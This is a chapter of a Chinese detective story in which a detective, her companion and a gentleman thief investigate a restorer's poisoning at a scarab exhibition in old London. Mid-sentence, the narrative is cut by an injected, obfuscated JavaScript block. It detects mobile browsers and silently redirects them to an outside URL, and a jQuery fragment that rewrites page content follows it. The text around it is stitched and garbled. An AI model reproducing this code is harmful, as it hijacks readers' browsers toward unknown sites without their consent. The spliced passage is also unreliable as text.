怀特警官扫视了一圈混乱的现场,目光最落在在那枚圣甲虫上。
显然,并不需要什么更多的解释了。
“谁都别动任何东西!”他厉声喝道。然后朝着身后穿着制服的警员挥了下手。
“你,还有你,封锁这个房间。没有我的允许,一只苍蝇也不准飞出去。”
他小心翼翼地走上前,没有先去看尸体,而是先看向了自己身后的人。
那是一个很容易引人注目的先生,戴着高顶礼帽,穿着正式的燕尾服,与苏格兰场的人格格不入。
我在我们的老朋友怀特警探的身上感觉到了一种敬畏,和他对待简的态度竟然有些相似。
“斯皮尔斯伯里先生,幸会,我是简·里斯克。”
简竟然主动向那位先生点头示意,那位先生也举了举自己头上的礼帽示意。
斯皮尔斯伯里先生,我想倒是知道他是谁了。
全英国最负盛名的法医病理学专家。
在我恶补的过去的新闻与凶案中,斯皮尔斯伯里先生的名字总是高频出现,并常常用他专业的能力帮助苏格兰场。
我并没有急着和斯皮尔斯伯里先生交谈,那并不是当务之急,目前最重要的是倒在地上的格雷厄姆先生,已经那个神秘的圣甲虫。
斯皮尔斯伯里先生先是蹲在地上仔细查看了倒在地上的格雷厄姆先生,他的脸色是发绀的,脖颈上满是指痕。
显然,虽然他迅速地倒地了,他仍然曾痛苦地挣扎。
然后斯皮尔斯伯里先生就在其他人的注视下,从取证箱里取出一个透明的证物袋,用戴着手套的手拿着镊子,极其谨慎地捏着圣甲虫,将它提起来,放入袋中,封好口。
而格雷厄姆先生,则是被两个苏格兰场的警探用担架抬起,在其他警探的护送下离开。
“初步判断是中毒,剩下的,我得到圣玛丽医院研究下,也不属于我的工作。”他向简点了点头,然后就非常紧急地走了。
“他真讨厌,不是吗?”那位帮助过我的、疑似cross的先生在我旁边说。
我看向他,有些疑惑,“什么?”
“装腔作势,高高在上…让人讨厌。”他虽然说着厌恶,但语气却极为平静。
没一会,他就无视了怀特警探,自顾自地去简的身边。
“好吧好吧…接下来,我们的里斯克大侦探要怎么调查呢?”
简瞥了他一眼,然后看向了一众沉默的、神色各异的宾客。
“在初步调查结果出来之前,需要几位先生女士先配合一下。”
“莫里斯博士,兰开斯特先生,特拉尔先生……”简每报一个名字,那个人的周围的人就后退好几步,而那些人本人,则是满是无辜与不可置信。
“凭什么?!这明明是法老的…”兰林·科尔夫人尖锐地叫着。
“因为你们在格雷厄姆先生之前,接触了圣甲虫,这是也为了你们的安全着想。”我尽力地安抚这位似乎已经有些失控的夫人。
最终,除了我和简,需要留下来的人有八人。
还有主人西弗西斯先生,以及那位疑似cross的先生。当然,还有那位一直拿着托盘的男仆先生。
无论究竟是谋杀,还是意外,这些人接触过圣甲虫,确实都需要检查一下。
想到更多的,那些人也不在吵闹,脸色苍白。
“确实,”怀特警官转向那几位,语气不容置疑,“为了排除风险,需要各位配合去医院做个检查。毕竟都接触过那东西,谨慎点为好。”
没人再出声反对。
科尔夫人脸色惨白,被女仆搀扶着。
莫里斯博士紧抿着嘴,一言不发。
兰开斯特掏出手帕不停擦汗。
西弗西斯先生看起来失魂落魄。
那位神秘的先生则依旧平静,仿佛只是要去参加一个无聊的茶会。
几辆苏格兰场的汽车将我们一行人送到了最近的圣玛丽医院。
当然,这是普通检查,犯不着打扰或许正专注于尸体的斯皮尔斯伯里先生。
过程冗长而沉默。
医院永远弥漫的消毒水的气味取代了展会的熏香,明亮的灯光下,每个人脸上的不安和疲惫都无所遁形。
简单的检查和问询主要是确认是否有中毒或不适症状。
结果并无异常,除了普遍升高的心率和血压,我想这更多源于惊吓和紧张。
检查结束后,怀特警官记录下每个人的联系方式和地址。
“暂时可以回去了,”他板着脸说,“但近期不要离开伦敦,随时可能再找你们问话。”
众人如蒙大赦,纷纷离开医院,各自钻进马车或汽车,很快消失在伦敦的夜色里。
最后只剩下我、简,还有那位我几乎已经确定是cross的先生。
他缓步走过来,路灯在他身上投下长长的影子。
“一场闹剧,不是吗?”
他语气轻松,仿佛刚才经历的不是命案而是一场拙劣的戏剧演出,“就是可惜了那件小东西,要暂时待在实验室里吃灰了。”
简挡在我身前,她随意地拢了拢大衣,“你似乎对结局并不意外,该不会…?”
“唉唉唉?!不要冤枉好人哦,我可什么都没干…”
又是那种割裂的跳脱,和他给人的稳重的第一印象完全毫不相干。
他耸耸肩,后退几步。
“哈哈,这是意料之中吧?当一件东西被太多人渴望,又笼罩着不祥的传说,出事只是时间问题。人性如此。”
他微微颔首,“那么,两位小姐,夜安。希望下次见面时,能有更……有趣的事情发生。”
“哦,对了…”他说着,不知道是怎么做到的,手里迅速地变出了一个盒子,“送给小姐的见面礼,我是cross,哈哈!”
他把手里的盒子朝简一抛,转身步入昏暗的街道,身影很快与夜色融为一体。
简打开了盒子确认了一下,然后把手里的盒子递了过来,“给你的。”
“这是?”里面是两条珍珠项链,至少都不普通。
“见面礼。放心,应该是干净的。”简低头看了看,“他不差这点。”
简这样说,我反倒是更好奇怪盗克罗斯的真实身份了,但我也没问什么,只是把这似乎是给我们两人的见面礼收进了手提包里。
“…也许我应该谢谢他。”
简看着我的动作,关注点落在了我的手上。
“怎么了?”我问。
我的手并没有受伤,也应该没有然后问题,除了…
“这戒指也是一个很好的礼物,我很喜欢。”我笑了笑。
“咳咳…好吧。”简咳嗽了几声,又来口换了个话题说:“你不用那么在意克罗斯,他只是有些…呃…装腔作势…也不用有负担。”
“好。”我点点头,“简,我们回家吧。”
“嗯。”她应道。
当然,这个夜晚,有多少人彻夜未眠,我们并不知晓。
第二天清晨,苏格兰场办公室里的空气还带着昨夜未散的寒意。
斯皮尔斯伯里先生的确相当敬业,他通宵达旦地得出了结果,虽然报告很简短。
他直接告诉怀特警官,格雷厄姆先生中的是一种埃及特有的毒,由几种罕见的植物毒素混合而成,作用很快,像是某种特殊仪式里会用到的古老配方。
还有卢西恩·格雷厄姆先生确实是有着罕见的皮肤敏感症,导致他更容易受这种毒素影响,应该是皮肤接触导致的中毒。
至于那珍贵的圣甲虫,他明确说了,没毒。
怀特警官搓了把脸,这意味着谋杀是坐实了。他让手下把报告复印几份,尤其要给简一份。
虽然当时我和简就在旁边。
“毒来自埃及,和圣甲虫无关。”简总结道。
“所以凶手是想让它看起来像诅咒,或者只是想用这东西吸引格雷厄姆的注意?”我问。
“都有可能。”简说,“现在得搞清楚谁有机会下毒,以及为什么。”
怀特警官走了过来,脸色不太好。
“既然是谋杀,我们就得去调查一下死者的社会关系,还有那几位……”
怀特警探叹了口气,“一共八个。一个个问吧。”
他递过来一张名单。询问工作枯燥而必要,得从这些人的话里,找出任何不对劲的地方。
“我们分头行动?”他看向简,“里斯克小姐,你和弗瑞小姐去西弗西斯家,问问他和他的仆人。还有那位卡特先生,据说他们为了几单生意闹得很不愉快。”
简顿了顿,目光扫过名单上另一个名字。
“至于最后这位先生…不用问了。”简说。
“嗯?什么?”怀特警探惊讶地抬起头。
“那是克罗斯。”简直截了当地说。
“是吗?好吧。”怀特警探捏了捏鼻根,语气里带着心照不宣的无奈,仿佛明知去找那位怪盗纯属浪费时间,甚至可能都是假的。
当然,怪盗不会留下真正的信息,也没人真的认为克罗斯是凶手,至少,不是这种下毒的凶手。
简点点头,没多说什么。我们便起身离开了苏格兰场。
外面的天气灰蒙蒙的,典型的伦敦天气。
我们先去了西弗西斯先生的宅邸。
应门的正是昨晚那个男仆,他脸色苍白,看到我们时眼神有些躲闪。
他将我们引到书房,西弗西斯先生正坐在书桌边,手里端着一杯酒,尽管还是上午。他看起来比昨晚更加憔悴,眼下的乌青很重。
“警官…还有里斯克小姐,”他声音沙哑,“请坐。我能提供的帮助恐怕有限。”
简没有寒暄,直接切入正题,“当然不是,西弗西斯先生,我们需要了解卢西恩·格雷厄姆先生,不仅仅是作为你的合作伙伴。”
西弗西斯的手握着着玻璃杯,眼神有些飘忽,整个人似乎陷入了回忆。
“卢西恩……他是个天才,无可替代的天才。他对古物,尤其是宝石和金属,有着近乎神赐的直觉和技艺。很多破损严重的藏品,经过他的手都能重现光彩。”
“他的工作室在哪?”简问。
“就在梅菲尔,离这里不远。他很少接待访客,工作需要绝对安静。”
西弗西斯啜了一口酒,“他有严重的皮肤敏感症,几乎从不徒手接触任何东西,工作室里也永远备着特制的药膏和手套。”他顿了顿,补充道,“这也是为什么他昨晚戴着手套拿起圣甲虫,没人觉得奇怪。”
“您最后一次见到他,除了昨晚,是什么时候?”
“大概……三四天前?他来给我看一枚刚修复好的罗马金币。”西弗西斯的目光扫过书架上一个不起眼的抽屉,又迅速移开,“我们聊了聊最近的收购计划,包括……嗯,包括那枚圣甲虫。他很期待能亲手检查它。”
“他当时状态如何?”我问。
“和平时一样,有点紧张,专注于工作。没什么异常。”西弗西斯回答得很快,几乎是脱口而出。
简转而问道:“听说你和他,与卡特先生有些过节?”
西弗西斯皱起眉,显得有些不耐烦,“卡特?那个固执的考古学家?他一直声称圣甲虫应该属于埃及,属于大英博物馆,甚至自称原主人……但这谈不上什么过节,观念分歧而已。”
接下来的问询,西弗西斯的回答更加模糊,语焉不详。
“哦!小姐们!我甚至是太伤心了!我的朋友,可怜的格雷厄姆,怎么会?!”他用他异域的腔调哀嚎着,然后又猛地灌了一口红酒,“抱歉,小姐们,我可能是醉了……”
最后,我们不得不离开了书房。
“抱歉,小姐们…先生可能是实在太伤心了……”接待我们的仍然是昨晚那位男仆。
“哦,可以理解。对了,他们关系很好?”我随口问。
“是的,小姐。先生,格雷厄姆先生,还有兰开斯特先生,他们…”男仆的话突然停顿,脸色更加苍白。
“他们的关系很好?”简明显不想为难一个男仆,她接话道。
“是的!”仆人松了一口气应道。
“哦,对了,还有些问题需要询问一下你,能麻烦你到旁边房间稍坐片刻吗?不会占用太多时间。”
男仆,他自我介绍叫埃利斯,明显紧张起来,僵硬地点点头。“好的,小姐。这边请。”
他将我们引至一间小型会客室,手足无措地站在一旁。
“请坐,埃利斯先生。”简自己先在一张扶手椅上坐下,姿态放松,仿佛只是闲聊,“昨晚的情况确实令人震惊,我们需要尽可能还原每一个细节。你负责捧着圣甲虫的托盘,是吗?”
“是…是的,小姐。”埃利斯依言坐在沙发边缘,“西弗西斯先生吩咐我负责展示环节。”
“整个过程,圣甲虫一直放在托盘里?除了各位宾客和格雷厄姆先生拿起它的时候。”
“是的,小姐。我一直非常小心。”
“在展示开始前,圣甲虫被取出后,到放入托盘由你端着的这段时间,有经过其他人的手吗?或者你有没有离开过它?”
埃利斯努力回想,“没有……西弗西斯先生亲自将它从展柜取出,然后就直接放到了我端着的托盘里。之后我就一直捧着它,直到……直到传来……”
“在这期间,托盘和圣甲虫本身,有没有发生什么异常?比如被人碰撞,或者你感觉到什么异样?”
“没有,小姐。一切都很好。”他回答得很快,但眼神有些闪烁。
简的目光落在他那双保养得相当不错的手上,忽然问了一句看似不相干的话:“埃利斯先生,你为西弗西斯先生工作多久了?”
埃利斯愣了一下,“三、三年了,小姐。”
“喜欢这份工作吗?西弗西斯先生似乎是一位要求很高的收藏家。”
“先生他……确实要求很高。但能接触到那些珍贵的藏品,是份体面的工作。”他说。
“确实体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296119|177843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面。”简微微前倾,声音压低了些,“所以,在格雷厄姆先生倒下前,当你端着托盘经过维克多·兰开斯特先生身边时,我注意到他好像轻轻咳嗽了一声,用手帕捂了下嘴……动作很快。当时他的手臂似乎离托盘非常近。你有注意到吗?或者感觉到什么?”
埃利斯的脸色“唰”地一下又白了,额角瞬间渗出细密的汗珠。
他猛地吞咽了一下,眼神慌乱地瞟向门口,又迅速垂下。“我……我没太注意,小姐。当时人很多,有些拥挤……我必须集中精神端稳托盘……”
他的反应过于激烈。
简没有继续逼问,而是顺势换了个角度,“我明白了。那在更早之前,比如圣甲虫被取出前,是由你负责擦拭展柜或做最后准备的吧?当时有没有发现什么不寻常的地方?”
“没、没有!一切都和往常一样!”埃利斯几乎是从沙发上弹起来,又意识到失态,强忍着坐下,“小姐,我只是个仆人,按照吩咐做事。我真的什么都不知道……”
他的声音带着不易察觉的颤抖。
简静静地看了他几秒。然后,她缓缓站起身。
“好的,埃利斯先生,感谢你的配合。如果想起任何细节,请务必联系苏格兰场或我们。”她递过去一张名片。
埃利斯几乎是抢一般接过名片,连声道:“好的,一定,一定……”
离开西弗西斯宅邸时,伦敦的天空依旧阴沉。简站在街边,回望那栋华丽的建筑,语气平淡却带着冷意。
“弗瑞,的确很有意思,不是吗?”简问。
“或许?那位仆人必然知道西弗西斯先生那三个合伙人什么东西,还有什么?”我记完最后一笔记号,抬起头问。
“谁知道呢?”简收回目光,“接下来,该去拜访那位同样对圣甲虫归属耿耿于怀的卡特先生,还有其他的宾客们了。”
“等等,怀特警探不是说分头……”
“我总要自己调查,才能知道。”简说。
好吧好吧,但这就是简,不是吗?
卡特先生住在一栋略显陈旧的老公寓里。开门时,他仍穿着身略显宽大的旧西装,脸色阴沉。
“侦探?”他声音干涩,“进来吧。我知道你们会来。”
他的公寓里堆满了各种各样的东西。他示意我们坐在两张堆满杂物的椅子上,自己则靠在书桌边缘。
“为了格雷厄姆?”他直接问。
“是的,”我说,“还有圣甲虫。”
卡特发出一声短促的冷笑。“报应。玩弄不属于自己的东西,总会遭报应。”
“你似乎并不意外他死了。”简平静地说。
“意外?不。他们那个小团体,西弗西斯,格雷厄姆,还有那个兰开斯特,迟早要出事。”
卡特的眼神锐利起来,“他们根本不在乎文物的真正价值,只在乎能卖多少钱。格雷厄姆?什么天才修复师……哼。”
“你怀疑他的能力?”我问。
“我怀疑他的道德!”
卡特提高了声音,“太完美了,完美得像重造!!还有西弗西斯!费尽心机抢夺别人的宝物!”
“你有证据吗?”
卡特噎了一下,愤愤地别开脸。
“没有。但他们知道我知道。我们吵过很多次,在学会里,在报纸上。”
“昨晚呢?你接触圣甲虫时,有没有发现异常?”
“没有。我只来得及看一眼……那本该是属于博物馆的!那是我发现的!怎么也轮不到他!!”他的情绪又激动起来,手指紧紧攥着桌沿,“它不该被拿来炫耀,更不该被那伙人经手!”
简没有对他的愤怒做出评价,只是继续问,“你注意到格雷厄姆先生碰它时的样子吗?有什么特别?”
卡特皱眉回想,“他戴着手套,态度粗暴。脸色很差,满头是汗。像是在检查什么,而不是欣赏。我当时只觉得他可悲。”
我们离开时,卡特先生仍站在门口。
“下一个,”简拿出名单划掉卡特的名字,“维克多·兰开斯特。”
兰开斯特的办公室位于寸土寸金的金融城别墅。红木地板,厚地毯,似乎一切都光鲜亮丽。
“可怕的悲剧,”他请我们坐下,递来雪茄(在我的注视下被简婉拒),“可怜的卢西恩。还有那该死的诅咒传闻……对我的生意没半点好处。”
“你和格雷厄姆、西弗西斯先生合作密切?”简问。
“商业伙伴,互惠互利。”兰开斯特谨慎地说,“我负责提供一些资金,还有为一些藏品寻找……合适的买家。卢西恩负责让它们看起来更完美。西弗西斯提供资源和名望。”
“昨晚你接触圣甲虫时,感觉如何?”
“美极了,也很…瘆人。”他掏出手帕擦擦额头,“尤其是翅膀弹开的时候。我承认我当时有点慌,想摸摸看是不是机关……被仆人拦住了。”
“之后呢?你注意到格雷厄姆先生有什么不对吗?”
“他看起来紧张得快晕过去了。但我以为他只是太投入。”
兰开斯特顿了顿,压低声音,“说实话,侦探小姐们,你们该多问问西弗西斯。他和卢西恩最近为钱吵过几次。西弗西斯投入太大,回本慢,卢西恩抱怨分账不公。”
“哦?”简挑眉,“很激烈的争吵?”
“不至于动手,但……不愉快。”兰开斯特意味深长地说。
简的视线落在桌子一角。
那里随意放着一副白色的棉质手套,和格雷厄姆昨晚戴的颇为相似,边缘似乎沾着一点不易察觉的细微粉末。
但简并没有表现出什么。
离开兰开斯特的办公室,简在名单上又划掉一个名字。
“他似乎在把嫌疑转到西弗西斯先生身上去。”我说。
“你说的对。为钱争吵?也不知是谁?呵。”
我笑了笑,这样一位“有钱人”,偌大的房子里,竟然没有什么装饰品,那就很耐人寻味了。
至于剩下的几位宾客,问询收获寥寥。
科尔夫人坚持认为是“法老的愤怒”,反复描述她感受到的“黑暗能量”。
“那原本都要属于我了!一定是神明注意到了!神明在愤怒!”
莫里斯博士则从学术角度分析了圣甲虫的工艺和铭文,但对人事一概不感兴趣,只对宝物被警方扣留表示遗憾。
美国大亨特拉尔只觉得“刺激”,像看了场好戏,并询问能否买下圣甲虫,当然,是“等它没那么晦气之后”。
问完所有人,已是傍晚。街道被昏黄的煤气灯照亮。
简站在路灯下,看着那份划满记号的名单,沉默片刻。
“毒是下在圣甲虫上的?但斯皮尔斯伯里说它没毒。”
“毒可能下在别的地方,”简的目光投向远处,“比如……只有格雷厄姆会受影响,而别人不会特意去碰的地方。”
她收起名单。“明天我们需要再去一趟格雷厄姆的工作室。有些问题,得在那里找到答案。”